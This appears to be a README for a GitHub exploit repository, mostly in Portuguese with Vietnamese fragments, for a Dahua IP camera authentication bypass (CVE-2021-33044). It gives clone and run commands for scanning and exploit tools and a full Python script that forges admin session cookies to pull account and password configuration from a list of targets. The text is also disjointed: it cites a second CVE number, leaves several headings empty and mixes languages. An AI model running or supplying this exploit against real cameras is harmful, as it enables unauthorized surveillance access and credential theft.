
DAHUA_AUTH-BYPASS-CVE-2021-33044
As câmeras IP Dahua são dispositivos IoT amplamente utilizados em sistemas de vigilância de segurança. Por serem frequentemente implantadas em redes internas ou acessadas pela Internet, as vulnerabilidades de segurança nas câmeras IP podem causar sérios impactos à privacidade e à segurança da informação.
CVE-2021-33045 é uma vulnerabilidade de segurança que existe em algumas linhas de câmeras Dahua, permitindo acesso não autorizado a recursos de configuração internos sem exigir autenticação válida. Essa vulnerabilidade decorre do mecanismo de controle de acesso pouco rígido no firmware do dispositivo.
| Item | Conteúdo |
|---|---|
| CVE | CVE-2021-33044 |
| Tipo | Authentication Bypass |
| Gravidade | Crítica (CVSS ~9.8) |
| Autenticação | Sem necessidade de autenticação |
| Impacto | Dahua Camera / DVR / NVR |
A vulnerabilidade decorre do design de autenticação inseguro no firmware das câmeras Dahua:
Isso permite que o atacante:
Referências:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Portas Dahua comuns: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
O script usa a biblioteca requests e desativa proativamente os avisos de SSL, usados para desabilitar os alertas de SSL
A função dump_accounts(ip, port=80) é a função principal responsável por verificar um dispositivo de câmera.
A função principal serve para:
Simulação de cookie de autenticação. A função usa valores de cookie como:
userName=adminuserLevel=1sessionID=00000000Nas versões de câmera afetadas, o backend não verifica o sessionID real, fazendo com que o sistema acredite que a requisição foi enviada por uma conta administrativa válida.
O script lê a lista de alvos de um arquivo de entrada e chama a função de verificação para cada dispositivo, um por um. Essa abordagem permite avaliar várias câmeras de forma automatizada.
Estes scripts foram desenvolvidos com base em:
Status dos testes:
Este projeto:
| Arquivo | Objetivo | CVEs |
|---|
dahua_scanner.py | Descoberta de rede — encontra câmeras Dahua na sub-rede | Detecção |
dahua_exploit.py | Ferramenta de varredura Multi-CVE — verifica todas as vulnerabilidades de segurança. | Todas |
dahua_auth_bypass.py | Bypass de autenticação dedicado com a opção --dump | CVE-2021-33044 |